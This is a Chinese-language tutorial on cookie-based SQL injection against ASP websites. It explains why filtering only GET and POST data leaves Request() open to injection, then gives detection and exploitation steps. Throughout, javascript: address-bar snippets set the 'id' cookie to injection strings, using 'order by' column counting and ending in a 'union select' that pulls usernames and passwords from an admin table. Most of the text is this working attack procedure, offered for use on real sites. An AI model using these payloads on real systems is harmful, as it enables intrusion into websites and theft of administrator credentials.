通常我们的开发人员在开发过程中会特别注意到防止恶意用户进行恶意的注入操作,因此会对传入的参数进行适当的过滤,但是很多时候,由于个人对安全技术了解的不同,有些开发人员只会对get,post这种方式提交的数据进行参数过滤。
但我们知道,很多时候,提交数据并非仅仅只有get\post这两种方式,还有一种经常被用到的方式:request("xxx"),即request方法
通过这种方法一样可以从用户提交的参数中获取参数值,这就造成了cookie注入的最基本条件:使用了request方法,但是注入保护程序中只对get\post方法提交的数据进行了过滤。
【检测方法】:(本方法适用于asp程序,但对于jsp\php等语言来说,原理同样适用,稍稍贴合相应语言特性进行修改即可)
1.首先找到asp?id=xx(例如http://www.xxxx.com/shownews.asp?id=63)
2.在参数id=63后面输入'符号,如下图
3.如果出现下图所示内容,我们可以尝试cookie注入
或者去掉参数访问url,http://www.xxxx.com/shownews.asp
如果页面访问不正常,则说明该参数id是访问页面所必需的的参数,可以尝试继续注入。
4.记录并清空当前浏览器地址栏中的地址,在其中输入
javascript:alert(document.cookie="id="+escape("63"))注意这里以63这个值为例
然后回车会弹出如图id的值
5.再浏览器地址栏中输入原来的url地址(注意,这里输入的是不带参数值的url,如下):
http://www.xxxx.com/shownews.asp
按下回车,访问该url,如果发现页面正常显示了,到此可以证明,我们正在接受的页面存在request方法获取参数,可能存在cookie注入的风险
【利用方法】:手工检测到可能存在cookie注入时,我们就可以通过常规注入方法来进行注入了
1.
http://www.xxxx.com/shownews.asp?id=63 在这后面 order by xxxx 这里xxx代表当前数据表字段数量
反复试验直到页面显示正常,例如:我的这个是
http://www.xxxx.com/shownews.asp?id=63 order by 11 输入12错误,输入11以下正常,说明是11
清空地址栏,输入我们的写cookie代码:
javascript:alert(document.cookie="id="+escape("11 and 1=2 "))
2.使用无参数的url地址访问
http://www.xxxx.com/shownews.asp
如果页面正常,我们就可以进行下一步检测。如果这是页面不正常,说明站点管理员已经部署了响应的防御策略,就需要找其他方法注入
3.
清空地址,同样的方法写入新的cookie
javascript:alert(document.cookie="id="+escape("11 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"))
按回车键会出现如图显示
4.接下来继续利用同样的方法
javascript:alert(document.cookie="id="+escape("11 and 1=2 union select 1,username,password,4,5,6,7,8,9,10,11 from admin"))
会出现如下图所示,我想各位都明白了吧
当然根据需求自己写注入语句,我这里只是自己在测试的一个案例而已。